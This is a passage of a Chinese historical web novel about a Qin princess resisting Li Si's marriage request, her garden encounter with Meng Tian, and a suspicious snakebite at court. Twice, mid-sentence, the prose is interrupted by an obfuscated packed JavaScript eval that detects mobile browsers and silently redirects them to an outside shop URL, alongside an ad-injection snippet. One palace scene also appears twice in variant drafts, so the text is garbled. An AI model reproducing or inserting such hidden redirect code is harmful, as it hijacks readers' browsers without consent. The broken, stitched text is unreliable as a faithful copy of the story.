众人皆是面面相觑,不免窃窃私语起来。 蒙恬这次‘拒婚’的理由也是一如既往简单而合乎情理。 “公主离席未归,既然是向公主求婚,何不等公主回来问问她本人的意思?” 李斯轻蔑地哼了一声,“婚姻大事,自当听从父兄尊长的安排。长安公主的婚事,先帝在时自然由先帝垂询;先帝驾崩自当由今上安排。莫非内史觉得今上没有这个资格作主公主的婚事吗?” 好一招倒泼脏水。 正当众人等着看蒙恬会如何应答时,嬴略已从帘后现身,一出场便一如既往地盛气凌人。 “丞相说得好,本公主的婚事自当顺从父兄尊长的安排。内史远驻上郡数年,自然不知道我至今未婚的缘由,而你,侍奉先帝数年的丞相,岂会不明先帝的用心?” 李斯那双精明似鼠的眼睛转动了几下,终究是没有再执一词。 此时,席位末端突然不疾不徐地走出一位身高不足七尺、冠斜缨松的男子③,观其样貌,十分滑稽,而他的席位和服饰,也显然不是什么高官显贵。 他走至大殿中央自陈道,“臣秦廷待召博士④茅焦有言进谏。” 坐在高位的胡亥见他酒醉滑稽的样子,挥了挥手哂笑道,“先生还是先把冠缨系好再说吧。” 被二世当众嘲笑形象的茅焦并不觉得尴尬,不慌不忙地正了正衣冠,才道,“十八年前,臣为帝太后之事向先帝谏言,十八年后,臣为元后之事向陛下谏言。” 胡亥配合他滑稽的样子揣着手嘻笑道,“先生请讲。” “众所周知,元后先于先帝薨逝。 先帝十年,元后自齐地来嫁于秦,前往神禾原祭拜夏太后时,西北遥望得见凤栖原⑤,闻知周宣王时有凤鸟栖息于此原上的典故,感怀道‘吾百年后当葬此处,后千年,旁当有学士辈出’。先帝遂依元后所言将其葬于凤栖原上。 长安公主及笄后,来此拜祭元后。夜梦元后执其手抚其背,如少时欢,醒来后悲不能入寐⑥。是日,再闻凤鸣原上,仿若元后泉下有灵。 先帝闻此大为感怀,凤栖原本属帝都长安县,长安县又为长安公主食邑,遂命长安公主以其食邑内三千户赋税为资,于凤栖原上修建祭祀元后的长安极庙,并于元后忌辰之日度入长安极庙,以期永怀追福,尽人子之孝。 孟子言‘不孝有三,无后为大’,不能为尊长尽到后辈的孝义本分,实在有逆人之大伦。丞相既赞公主孝谨有加,为何非要违其孝义,强行尚主呢?” 说到感怀之处,茅焦自己竟以袖抹泪,仿佛自己都为元后与长安公主的母女情深感动不已。 不过,能以齐地赘婿的身份晋身秦廷待诏博士,他的游说功力可见一斑。待讲完凤栖原元后旧事后,殿内不少年纪渐长的大臣和宗室都跟着悄然掩泪。 除了李斯——他在心中啐了一口,苍髯老贼⑦,在这编母女情深的怪力乱神之事忽悠他呢。 11. 嫁与不嫁 怪力乱神之事,谁又能知啊? 又是夜梦元后、又是凤鸣原上,难保不是长安公主伙同他们这些齐地博士编造出来忽悠先帝的。 也就先帝沉迷怪力乱神之事宁可信其有。换了他李斯,早把这些毫无用处的米虫博士轰出秦廷了,整天不是仁义道德就是怪力乱神,到底有何用处? 何况,说是长安公主度入长安极庙为元后永怀追福。可他还不知道嘛,长安公主仅仅是在及笄当年度入长安极庙待了一年。 先帝偏疼这个女儿,一年之后,先帝又在咸阳宫长安殿内另筑庙宇,将长安公主召回咸阳宫内追怀元后。 这一切的一切,仅仅是为长安公主许婚蒙恬不成之后迟迟未嫁找个“合乎情理”的由头而已。 不过,李斯虽老却不糊涂,他并未当面直言自己的异议,此事是当年先帝一手促成,他对此事有异议就是对先帝有异议。 但是,也不怪李斯如此质疑此事的真实性。 元后乃齐人。秦王政加冠之际,接受了吕不韦的谏言与齐国联姻,出身齐国的元后所带来的最值钱的嫁妆并非万金之财,而是稷下学士。秦廷之内数以百计①的待诏博士,泰半都是因秦齐联姻一事进入秦廷的。 传闻就连渭阳学宫的建立,都与元后有莫大的关联。 而且,鲜少为人所知的内情是,元后少时曾以守藏女史②的身份在稷下学宫就学,这些齐地博士或多或少都和元后有千丝万缕的关系。至于齐人茅焦,更是由元后直接举荐给秦王政,劝其从雍城迎回帝太后的说客。 今日他之所以敢冒着得罪丞相的风险如此替元后所出的长安公主说话,未尝不是报答当年的知遇之恩。 李斯为官多年,仕途经验老辣,并不理会茅焦的自我感动,而是反驳道。 “你们齐鲁之地的博士就爱满嘴仁义孝道。那我问你,要是长安公主一直未有归宿,难道就是对先帝、对元后尽孝了吗?别说对死去的人尽孝,就是身为兄弟的当今陛下,难道能允许自己的姊妹终生不嫁老死宫中吗?” 几番较量之后,公主是否降嫁的问题被抛了一个完美的弧度,终于还是被李斯完美地抛回给了二世。 这确实是他的老辣之处,因为他十分清楚只有当今皇帝才有资格决定这件事,哪怕公主本人反对。 嬴略本人确实是反对的。她面上看不出什么,养尊处优的手却暗自攥紧了锦衣华服。即便她为自己据理力争,到头来能决定她婚姻大事的人还是高高在上的二世皇帝。 她不知道胡亥这次会作何回答。那双光明洞彻的眸子现下失去了原有的神采,她觉得自己就像一块令人觊觎的肥肉一样将被人待价而沽,只等价高者得。 眼见李斯还是把问题抛回给了自己,胡亥这次竟然没有敷衍或推诿,他坐在高位上支手托腮,偏头笑道,“果真如此,又有何不可呢?” 看来问题不是只有是与否两种答案。 这话说的李斯也哑口无言,当今陛下果真是始皇诸子中的一朵奇葩。 不过,李斯毕竟是百官之首,又有从龙之功,胡亥还是不能太下了他的面子,遂道。 “君侯功高富贵,何忧子孙无妇。元后唯长安公主一子,奈何夺其忠孝之志?来日朕之子嗣长大成人,再与君侯约为婚姻,岂非两全?” 二世的意思不言自明,这是一个饼,一个又大又圆的饼。 陛下春秋正盛,丞相却是年逾古稀。等当今陛下的子嗣到了谈婚论嫁的时候,丞相坟头的树都该长到两手合抱那么粗了。 李斯再一次无言以对,殿内众人却是十分配合得哄笑开来。 待殿内复归平静,二世挥了挥手,但闻乐师击了一声铜磬,筵席便结束了,一场好戏就此落幕。 新君即位的第一天,这位二世皇帝就在群臣宗室面前初露帝王之术的锋芒。面对功高权重的丞相挟功请婚,他先是挖了一个坑后又画了一个饼,精明老辣如李斯,也被这位尚且孩子气的新帝牵着绕了一个又一个圈,最终也没在他手上讨得到什么便宜。 经此岁首夜宴,群臣宗室心中都对这位二世皇帝都有了自己的计较。 殿内众人熙攘散场,对方才的好戏不免窃窃私语,议论纷纷,看向李斯的眼神也叫一个丰富多彩。 同僚们的议论声简直无孔不入地钻进李斯的耳中,无一不是在嘲笑他挟功请婚的痴心妄想。其实到了他这个年逾古稀的年纪,眼花耳聋未尝不是一种优势,可他偏偏精神矍铄,精明似鼠,身体和精神都比驾崩的先帝硬朗多了。 他怫然不悦地剜了两眼碍事的蒙恬和滑稽的茅焦,岂料这两人都对他的眼刀视而不见,一个整了整仪容从容不迫地准备退场,一个早已把自己隐匿在众博士之间泯然众人,这使他心中怒火实难消散。 本来应该万无一失的请婚怎么就会被拒绝了,不就一个公主吗?难道他这个对大秦有不世之功的丞相还不配为长孙求尚一个公主了。 正想着,那个被他腹诽心谤的公主已经来到他身边。 “酒筵上侍酒的宫人是丞相安排的吧。” 李斯没有对上她那双酷肖先帝的明眸,“公主说笑了。老臣乃外臣,如何能插手宫中之事?” 嬴略掩唇轻笑,“哦,那就是丞相和郎中令内外勾连安排的了。” “这公主就更说笑了。老臣在外朝侍君三十余年,和他一个宫中宦籍出身的郎中令能有什么勾连。” 李斯如此滴水不漏地答话,嬴略也就没有再计较此事。 宫人能在朝贺夜宴上公然失职,其中必定牵扯甚多,莫说李斯、赵高,细想一下,就连二世可能也默许了他眼皮底下的这些小人行径。 只不过,从宫人被悄无声息地拖下去那一刻起,嬴略就知道这件事只能是一笔糊涂帐了。 “那丞相就当我是在说笑吧。不过,我听闻丞相曾感慨,自己位极人臣,富贵极矣。荀卿曾言物禁大盛,盛极则衰,丞相不知自己归处何在。那么丞相如今想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396942|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的归宿便是为自己富贵极矣的家族再娶一位荣宠过盛的公主吗?” 李斯笑了笑,原来在这给他打哑谜呢。 “公主竟然听说过老臣的私下戏言,真是稀奇。论及归宿,公主更应该操心自身。公主眼下确实是君恩正盛,不过也是年逾双十了。自古男子皆爱美色,女子青春更是宝贵,公主还是尽早为自己寻一个归宿吧。不然等到荣宠不再,年华老去,公主的归宿又在何处呢?” “丞相此言差矣。与年逾古稀的丞相相比,本公主觉得自己春秋正盛。等到我需要考虑归宿的时候,丞相墓上的树也该长到两手合抱那么粗了。” “你——!”李斯被她气到发抖,眼睛几乎要泛出泪光,他都没被先帝如此骂过。 他们姓嬴的骂人都这么刁钻缺德吗? 上次这么骂人的还是眼前小女娃的先祖(秦)穆公,被骂的对象是同样被好心当作驴肝肺的重臣蹇叔。 李斯颤抖道,“老臣为大秦统一天下厥功甚伟,公主等人主之子却坐享富贵,却还如此折辱旧故功臣,对得起先帝吗?” 嬴略挥了挥手令宫人上前驾住激动的李斯,“丞相年纪大了,切莫如此气急败坏,对身体不好。” “我方才只不过将您对我说的话又对您说了一遍,您何须给我加一个折辱旧故功臣这样的罪名。不过说到折辱旧故功臣,我可不及丞相令先帝寒心。” 至于李斯的道德绑架,嬴略冷笑了一下,没有比她更懂道德绑架。 “丞相无须一遍又一遍提及您对大秦的不世之功。丞相有今日之高爵厚禄,难道不是先帝对丞相功劳的回报吗?先帝对丞相的厚遇之恩甚至润泽到了丞相的子女,我的姑母、叔伯数次与李家联姻,难道丞相对此竟然还不知足吗?” “先帝尸骨未寒,丞相又挟功倚势逼迫先帝孤女下降。长安虽少失先母,又失先父,却也不是任人欺凌和谋算的。敬我者,我自敬之;辱我者,我必还之。” 方才还觉得自己耳聪目明的李斯脑子里在领教了嬴略的牙尖嘴利之后脑子里嗡嗡的。 “我不过看在先帝的面子上才好言相劝几句,未料公主对待旧故功臣如此骄纵无礼。幸得今日陛下未应允婚事,不然如此恣睢无德之人,我李家还娶不起。” 原本请婚被拒的挽尊之辞如今说来却大有几分真心在。 嬴略最后行了一礼,亦真心实意地回道,“那长安多谢丞相家不娶之恩。那我也送丞相几句好话。丞相年逾古稀,春秋无几。何必如此贪鄙重禄,否则晚节不保事小,性命不保事大。” 李斯却未受她的礼,愤恨不平地哼了一声之后终于甩袖离开了这个是非之地。 别说李斯愤恨不平,就连在在口舌之争中赢了的嬴略也觉得郁郁不平。 即便是金尊玉贵的公主,也不过是一块惹人觊觎的肥肉。 她走出殿外,自有内者替她披上一身毛色纯粹的狐裘。 “走吧,我想去绛雪轩看看。” 12. 夜游御园 御园之内,嬴略着实没想到会与蒙恬不期而遇。 翠翼高攒叶,冠缨澹拂花。步履轻敛来,浮墙花影动。 当蒙恬一袭玄端章甫现身于一株绛雪之后时,嬴略的眸中似有浮光掠影。 白雪微霁,绛雪初放,君子至止,玄端甫章。 冷月溶溶,浮光霭霭,君子至止,行止端方。 今夕何夕,见此邂逅。佩玉将将,寿考何忘。 曾几何时,当君父盛赞这样几乎完美无瑕的君子时,少年时的她也曾出于好奇暗中窥探过这样的君子。 他的相貌在关中显贵中其实算不上最为人称道的,让人过目不忘的是那种独一无二的气度。 周旋可止,容止可观。当世之人,无出其右。 不过,事实证明,无论是完美无瑕之物还是完美无瑕之人终究是只可远观。 在那场无疾而终的赐婚之后,这种乍见之欢转瞬即逝,仿佛雁过无声,水过无痕。 是以,她将眼底的浮光掠影暗自潜藏,故作未见,转身离去。 未曾想,那人并没有如愿配合。 “公主。” 不知怎得,再听到如此穆如清风之音,她却鬼使神差地怎么也动不了一步。 既然避之不得,便是迎面相逢又何妨。 她转过身去,声音依旧泠然,“内史有何指教?” 蒙恬却是朝她又近了几步,用他们二人之间才能听到的声音轻声道,“其实那日渭阳学宫孤竹亭之辩,臣也在场。” 嬴略轻哼一声,挥了挥手,立即就有女使会意对身后的宫人吩咐道,“你们都退下吧。” 待宫人退下,嬴略才冷言道,“做了‘屏后君子’,内史倒还好以此威胁我。” 蒙恬知道那日她应该是发现了自己,拱了拱手,“并非威胁,而是怕被公主拒于千里之外。” “看来内史是专门在此处守株待兔。不过,御园之大,你怎么知道我会来此处?” “丞相请婚一事虽然有惊无险地被公主躲过,可是被人暗中谋算始终是一件令人不悦之事,所以公主应该会在酒筵散场之后来御园散心。御园虽大,初冬寒凛,百花沉寂。唯此处栽种耐冬,又是自齐地引进,是以臣猜想公主会来此处。” 她确实是来此处怀念母亲的。 沉沉冬夜中,她与艳丽如火的红色耐冬并肩而立,一时之间竟分不清是谁照亮了凛冬将至的死寂与黯然。 “你认识这种名为‘绛雪’的红色耐冬?” 蒙恬微微颔首,“臣之大父(祖父)蒙骜自齐地来事昭襄王,离齐之时,臣之大母(祖母)特意自齐地带来了几株‘绛雪’栽种家中,聊慰思念故土之情。每至初冬,红梅未放,耐冻先行,十分可观。公主的母亲亦自齐地来嫁先主,所以这种名为‘绛雪’的耐冬,臣认得。” “你有心了。”听到他提到母亲,嬴略的心逐渐平静下来,没有了初始的拒人于千里之外。 “不过,我并不想在宫中谈论宫外之事。” 蒙恬自然听懂了她的暗示。只是即便他被手足之情冲昏了头脑,也不会在宫中谈论蒙毅之死背后有何隐情。 须知,隔墙有耳,虽微谋,亦有外泄之危。 “好,那我们就谈谈拒婚之事。” 嬴略看着他似笑非笑道,“是那日复道之上我说得不够明白还是内史没听够我的冷嘲热讽。” “公主当日的冷嘲热讽言犹在耳,说得很是清楚。只不过,” 蒙恬故意顿了顿,深邃的眸子流露出难得一见的委屈之色,“臣回去以后,犹觉分外委屈。” “哦?因拒婚之事深陷非议的好像是我吧。” “公主因臣拒婚而受非议是臣之过,几句冷嘲热讽而已,臣受得住。只不过,四年前臣与公主并不相识,对公主的了解仅限于传闻中的只言片语,拒婚于一个素未谋面的女子实乃人之常情,而公主却因为这样的拒婚对臣耿耿于怀,这对臣而言并不公平。” “皇权之下,何来公平。”生于皇权富贵中的嬴略想也没想,脱口而出。 蒙恬进一步靠近她,声音带有某种蛊惑性,“那么公主是承认因拒婚一事对我耿耿于怀事有不公?” 嬴略犹自强辩道,“即便不公,那又如何?” “事有不公,才更该追求公平。不是吗?” 蒙恬继续道,“正如今日丞相请婚之时,陛下若不顾公主的意愿强行赐婚,公主又是否会觉得公不公平无所谓呢?” 提及今日的“二次拒婚”,嬴略却是道,“即便不是为了我,你作为昔日先帝的尊宠之臣,难道看不出陛下希望你出头做这柄制衡丞相的利刃吗。所以无论如何,你都会谏言婚事不妥,难道不是吗?” “食君之禄,为君分忧,此乃为臣之道。不过,即便没有上意,我也会因为自己曾经的处境为公主陈情。” “原来是己所不欲勿施于人。可惜,我和内史的不公,终究是不同的。” “有何不同?” “内史虽是臣下,却是男子,在婚姻之事上你的头上只压了一座大山。而我虽是公主,却是女子,在婚姻之事上我的头上压了两座大山。看似金尊玉贵,也不过像砧板上的肥肉一样惹人觊觎,即便据理力争,也不能决断自己的命运,而是被父兄尊长待价而沽,只等价高者得。” 自古以来女子的婚事皆是如此,蒙恬不知该如何安慰,沉吟了片刻,也只是道,“名花倾国,自然惹人觊觎。” 嬴略却摇了摇头,笑意却微微又些苦涩,“就算不是名花,不是公主,只是一个寻常女子,只要她待字闺中,就永远会有人想要替她寻找一个丈夫,哪怕这个人与她毫不相干,也会坚定地认为她必须要有一个丈夫。” “可世间大多数女子都需要一个丈夫来养家糊口。” “丈夫需要养家糊口,可妻子亦需要侍奉夫君、生儿育女、孝顺舅姑、操持内务。” “古往今来皆是如此,男主外女主内,夫妻之间相互扶持携手并进,有什么不好吗?” “为什么不能是女主外男主内呢?”嬴略反问道。 蒙恬还真未想过这些问题,但他却指出了问题的关键,“那女子该如何养家糊口呢?” “即便女子真的能和男子一样养家糊口,也还是需要她们来生儿育女。如果真有那么一天,女子要承担的责任也只会更重罢了。” 蒙恬却是接着她的话道,“如果真有那么一天,她们也会有更多的选择,不是吗。” 即便将来有一天她们会有更多的选择,那这样的一天又何时到来呢。 嬴略没有再纠缠于这样泛泛空谈的辩论,她随手攀过一支绛雪欣赏,蜿蜒而下的枝条时时拂过她凤鸟云气纹金绣玄色裙裾上,窈窕袅娜的身姿带过一阵清香。 “所以,你今日在此就是为了借今日拒婚之事再向我解释曾经的拒婚之事吗。我不明白,内史为何非要执着于一个不喜之人对你的耿耿于怀呢?” “是否不喜,应该由我来决断。” 蒙恬深邃的眸子里有些她看不懂的目光,仿佛幽深天际中万年流转的星河,泛着点点说不清道不明的流光。 她刚想询问为什么,蒙恬却朝她做了一个噤声的动作,靠近她低语道,“有人来了。” 嬴略虽然半信半疑,但声音也跟着他低了下来,“我怎么没听到?” “我常年行军,耳力自然比常人更敏锐。不过,来者不善,我劝公主先避一避。” 又避?想到他在孤竹亭外做“屏后君子”的行为,嬴略偏道,“我们又没做见不得人的事,为何要避?” “恐怕是来人讲的话不便为外人听到。” 嬴略跟着他将信将疑地隐匿在花木的阴影之后,幸而今日岁首夜宴,无论君臣都穿着玄端章甫做礼服,便于在黑夜之中潜行匿迹。 随着来人逐渐走近, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444768|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几道男声也由远及近传来。 “先帝在时,他不过区区少子,非嫡非长,又无母族庇护,有什么资格践至尊之位受百官朝贺,还在我们这些兄长面前耀武扬威。” 这几道声音嬴略很是熟悉,正是她的兄长之一公子将闾及他的胞弟二人,虽然未提议论之人的姓名,嬴略也知道他们是在议论二世皇帝胡亥。 好在年长的公子将闾还算冷静,立刻制止了胞弟的大逆不道之言,“毋伤,你喝醉了,不要再说这些疯话了。” “王兄干嘛这么谨慎,如今凛冬将至,御园之内百花凋零,有什么人会想不开出现在这里?” 嬴略和蒙恬对视一眼,耐冬不是还开着吗?他们为何成了想不开的人。 “即便如此,他是奉遗诏即位的二世皇帝,不是你和我可以随意议论的。” “遗诏?”公子毋伤轻蔑地笑道,“我就不信王兄没听过秦廷内外的流言。上崩于外,哪里来的真遗诏,不过是他们假借先帝之名制作的伪诏。遗诏真假难辨,凭什么要我们对他这个半真半假的二世俯首称臣。” “住口!外人再怎么议论,那是外人的事。你我身为先帝之子,今上之兄,自当谨慎行事,怎可轻信流言?” “王兄!大家都是先帝的儿子,距离那个位置一样近,你难道就真的甘心对那个无德无才的少子俯首称臣吗?” 正说着,嬴略忽然觉得一阵寒意袭来,这种寒意并非天气骤然严寒所至,而是危险将至的前兆。 果然,于朦胧的夜光之中远远看到一条泛着银色光泽的冷血动物悉悉索索地朝他们这边爬来。 这个时节怎么会有蛇?! 幸而嬴略还足够清醒,并没有尖叫出声,但她却是吓得抱住了身旁的蒙恬,就连分歧履都踩在了他脚上。 骤然被踩,蒙恬有些吃痛,但他只是蹙了蹙眉并未出声,他的手暗暗揽在了嬴略的腰间以防不测,待嬴略平静下来后,那只放在她腰间的手却换成了手背。 虽然他们二人尽力不弄出声响,但是小道之上的公子将闾还是警觉地意识到有人在附近。 “谁?——” 嬴略屏气凝神,似乎在衡量被蛇咬和暴露身份哪个利害更轻。 蒙恬倒还算镇静,他一手抱着怀中之人,一手按在了腰间的秦剑之上。若是真有不测,他大可一剑斩了那条白蛇。可是这样,不免暴露了他们二人。 听到如此密语,才真的是进退两难, 就在进退两难之际,公子毋伤突然指着一个方位叫道,“王兄,那个宫人在那边!” 嬴略暂且松了一口气,原来他们发现的不是他们。 未等公子将闾过去,公子毋伤已经眼疾手快朝那个黑影追去,没追几步,却是听到他一声惊叫—— —————— “陛下在酒筵上拒绝了丞相的请婚,心中可是有了别的姊夫人选?” 章华殿内,韩美人奉匜沃盥侍奉胡亥洗漱,与他私语道。 胡亥拿着巾帕擦干了手之后,勾了勾韩美人的下巴,笑道,“怎么?令宜作为弟妇不满小姑长留家中吗?” 韩美人眉尖微蹙,柔婉地解释道,“陛下取笑妾。妾只是侍奉陛下的妃妾,岂敢对陛下的王姊不满。” 胡亥拉着她坐在榻上,揽美人入怀中,“令宜不必妄自菲薄。待来日你我有了孩子,定许以高位。” 他在夜宴许诺丞相李斯约为婚姻不过是在给李斯台阶下,而现下许诺韩美人高位却是真心实意的,如此宠爱她是为旧故。 “不过,朕心中并无姊夫人选,也不打算将王姊嫁给任何人。” 韩美人心中一颤,自幼相识的经历让她明白胡亥不是在说顽笑话。 “陛下的意思是——?” “朕希望她永远留在宫里做朕的王姊。” 帝妃二人正私语间,忽闻外面禀告道,“陛下,不好了。公子毋伤被蛇咬伤了。” 13. 妖异之兆 公子毋伤被蛇咬了! 在宫人匆匆将公子毋伤用步辇抬进他们母亲赵姬所居的檀台宫,蒙恬立刻出来一剑斩断了马上朝他们嘶嘶而来的银蛇,正中七寸! 嬴略看着断成两截的银蛇,目光像今晚的月色一样冷,“今夜之事,内史怎么看?” “事出反常必有妖。而今夜之妖,似乎是专门冲着公主来的,公子毋伤只不过是被误伤了。” “不错。看样子他们二人是打算在酒筵散场后去檀台宫探望他们的母亲赵姬,但是从大朝正宫前往内宫的大路并不经过御园,他们或许是想借着酒意在御园的无人小道上说些不可为外人道的醉话,只是没想到发生了这样的变故。” “而公主夜游御园却带了大批宫人和仪仗,若是有人和我一样在此守株待兔,但是却怀着致人于死地的阴毒之心,那这蛇原本要咬的人恐怕不是公子毋伤了。” 嬴略冷笑道,“凛冬寒夜,咸阳宫中惊现毒蛇,此乃妖异之兆,既然这妖异是冲我来,那我这个大秦公主岂能任由妖异祸乱宫闱呢。” 一阵寒风袭来,她裹了裹身上的玄狐裘,恰巧一朵绛雪顺着鬓边青丝坠落在她肩头。 蒙恬的手掠过她的鬓发取下了那朵绛雪,“耐冬的凋零并不像别的花一样片片掉落,而是连同花萼整朵掉落,颇有一种宁为玉碎不为瓦全之美。” 嬴略看着蒙恬手中那朵开得鲜艳如血的红色耐冬,想到公子毋伤借着酒意说得那些醉话,面上一片忧患之色,“是很美。你可知耐冬还有一个别名,叫作‘断头花’。” 蒙恬将手中的绛雪暗自收在袖中,“流言四起,风雨欲来,公主还是早做打算。” 嬴略在心中哀叹一声,流言四起,引发的哪里是普通风雨,而是血雨腥风。 —————— 章华殿内,韩美人一边奉匜沃盥侍奉胡亥洗漱,一边与二世私语道。 “陛下在酒筵上拒绝了丞相的请婚,心中可是有了别的姊夫人选?” 胡亥拿巾帕擦干了手之后才勾了勾韩美人的下巴,笑道,“怎么?宜君作为弟妇不满小姑长留家中吗?” 韩美人眉尖微蹙,柔婉地解释道,“陛下取笑妾。妾不过隐宫奴婢之子,蒙陛下宠爱才忝居妃嫱嫔御之列,岂敢对陛下的王姊不满。” 胡亥坐在榻上将美人揽入怀中,“宜君何故妄自菲薄。你我自幼相识,朕早已把你视作身边不可或缺的亲人。待来日你我有了孩子,名分一事定不叫你受委屈。” 他在夜宴许诺丞相李斯约为婚姻不过是在给李斯台阶下,而现下许诺韩美人高位却是真心实意的,就连她的字“宜君”都是他亲自所取。 如此宠爱是为旧故。 韩美人的母亲与他的母亲同为韩国宗室所出。 秦王政十三年,秦国攻打韩国,韩王安派王弟韩非使秦,秦国留下了韩非,但不久之后,韩非就死在了秦国。弱小的韩国上下愈加惶恐,不知何时便会被虎狼之秦发兵灭国。 秦王政十六年,韩国南阳郡守腾主动投降并献出南阳地,韩王安战战兢兢地再献王女韩夷光于秦,并遣五名貌美的宗室女一同媵秦,希望能以美人延续韩国国祚。 他的母亲本是为存韩而来,然而母亲生下他的那一年,秦国就灭了韩国。 韩宜君亦是出生在那一年,她的母亲正是媵秦的五名韩国宗室女之一。 只不过,她的母亲在入秦之前就已经与人私定终生,入秦之后未得先帝召幸便身怀有孕。 这本是死罪。 是他的母亲韩夫人在先帝面前极力求情,才保住了同宗姊妹的性命,由死罪改为没入隐宫为奴。 然而这个可怜的韩国宗女最终还是没能逃脱死亡的命运,在没入隐宫数月之后,韩宜君的母亲难产而亡,留下了早产的韩宜君。 韩夫人可怜这个女孩,便将她接至身边抚养,并为她取名“嫱”,然而她的身份始终是尴尬的隐宫奴婢之女。 直至成年之后侍奉胡亥,才终于摆脱了这样的身份。 所以他们两个是自幼相识,他也因为这样的旧故对她宠爱有加。 胡亥沉吟了一番,又对韩宜君道,“不过,朕心中并无姊夫人选,也不打算将王姊嫁人。” 韩美人心中没由来地一颤,自幼相识的经历让她十分了解胡亥的秉性,他并不是在说顽笑话。 “陛下的意思是——?” “朕希望她永远留在宫里做朕的王姊,只做朕的王姊。” 帝妃二人正私语间,忽听外面禀告道,“陛下,不好了。公子毋伤被蛇咬伤了。” —————— 胡亥看着被蒙恬呈上来的那两截从七寸断掉的白蛇,蹙了蹙眉。 “蒙卿真是好剑法,直击七寸,一剑毙命。不过,何故此时还在宫中?” “陛下,臣侯在御园是想向公主解释当年拒婚一事。” 胡亥的神色十分不耐,“拒婚就是拒婚,蒙卿还有什么好解释的?当年既然执意拒婚,今日又何必如此纠缠?” 嬴略掩唇一笑,“那可不一样。当年内史乃是炙手可热的尊宠之臣,即便毅然决然拒婚于我这个公主,先帝也拿他无可奈何;而今朝他不受陛下待见,不甘受此冷待,所以才上赶着来巴结我这个同陛下亲近的王姊。” 蒙恬瞥了她一眼,长安公主这个变脸速度比六月的天变得还要快。 不过,他也明白她“变脸”如此之快。 二世皇帝新君初立,帝位还不稳固,正是忌惮先帝诸子与朝臣勾连之时,她这三言两语看似在贬低了自己,却也光明正大地撇清了两人私相勾连的嫌疑。 “先帝在时,时常盛赞这个尊宠之臣,朕还当他何等高风亮节,原来也不过是趋炎附势之徒。” 嬴略哑然失笑,“蒙内史哪里是趋附我这个长安公主的势,不过是打着解释拒婚的由头想要我在陛下面前美言几句,再得今上重用而已。所谓趋炎附势,乃是想趋附陛下之势。” 胡亥似笑非笑地看着蒙恬道,“内史果真是如此想的吗?” 蒙恬一如既往地大义凛然道,“天下之人无不希望得陛下惠施恩泽,臣亦如此。” 胡亥笑了笑,能得先帝重臣的希旨承颜让他有一种说不出的称心快意。 从前由于蒙毅的缘故,他对蒙恬颇有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些微词。但即便如此,他也不得不承认蒙恬在李斯贸然求婚一事上接的真好。 虽然他们新君旧臣之间几乎没有默契,但是蒙恬近乎完美地达成了自己想让他阻拦李斯的意图。 果然,能做皇帝宠信之臣的人都有几把刷子,能完美猜中皇帝心中所想便是其中相当重要的一把。 怪不得君父喜欢他,就连胡亥本人也忍不住想要喜欢他了。 感受到高位上二世几经变换,耐人寻味的目光,蒙恬忍不住打了个冷颤,心道这暖然似春的咸阳宫怎么可能会冷呢。 “陛下,御园乃天子禁园,凛冬将至御园之内却惊现银蛇,此事涉及皇帝陛下的安危,不可不严查。” 嬴略瞥了他一眼,刚才在御园之内还信誓旦旦地说这事是冲着她来的,到了章华殿却变成了事涉天子安危,这大义凛然的话术还真是信手拈来的,怪不得当年一句话就堵住了先帝的嘴。 不过,胡亥却是道,“内史的意思此事是人为?朕倒是觉得无须小题大做,御园之内卉木丛生,难免有蛇在此冬眠。况且咸阳宫中自岁首之日开始供暖,冬眠的蛇感受到附近宫殿的暖意偶然苏醒也不是什么稀奇的事情。” 嬴略立刻接道,“冬眠于地下的蛇怎么能感受到宫殿的暖意?陛下,这恰恰说明是宫中‘有心之人’借着岁首供暖的时机刻意将冬眠的蛇唤醒,然后放至御园企图谋害陛下。即便此事不是人为,冬夜宫中现蛇亦是妖异之兆,陛下更应该把此妖孽找出来,免得日后祸乱我大秦的前廷内宫。” 胡亥看着这两人一唱一和的样子,刚才的称心快意一扫而光,取而代之的是没由来的心烦意乱。 “朕会命扈卫宫中的郎中令严查此事。时辰不早了,内史也不宜在宫内久留了吧。” 蒙恬还要说什么,听到后面这句话便知道二世这是赶人的意思了。 今上现在并不看重他,他说得再多也只会令二世心生厌恶,于事情并无益处。 嬴略与他对视一眼,示意他先退下,她这个同今上亲近的王姊还可再勉力谏言一番。 蒙恬却觉得看今上的意思,此事恐怕又会被和稀泥不了了之,朝二世行了一礼,又与嬴略颔首致意后便退下了。 蒙恬退下后,嬴略继续道,“陛下臣以为此事单交给郎中令审查,恐怕不妥。” 胡亥不以为然道,“朕知道,王姊一向对赵君颇有微词。不过,朕也知道王姊一向讨厌内史蒙恬,怎么今日竟肯听他的‘巴结’之词还和他一道一唱一和起来?” “他是先帝盛赞的社稷之臣,我不忍心陛下和大秦失去这样的栋梁之材。” “够了!”看着嬴略脸上大公无私的表情,胡亥的面色却是突然阴鸷起来。 他蓦然靠近嬴略,和她那双光明洞彻的眸子对峙着,“王姊,你真的对他没有一点私心吗?” 嬴略对上胡亥那张妖冶的脸蛋,她起初就是为这张妖冶的脸蛋动心而将年少失恃他的带至北宫。 “陛下为何如此在意我的私心?” 胡亥隔着锦衣华袂紧紧握着她的手腕,“因为你是朕的王姊,朕不希望你私心里爱重别人胜过我。” 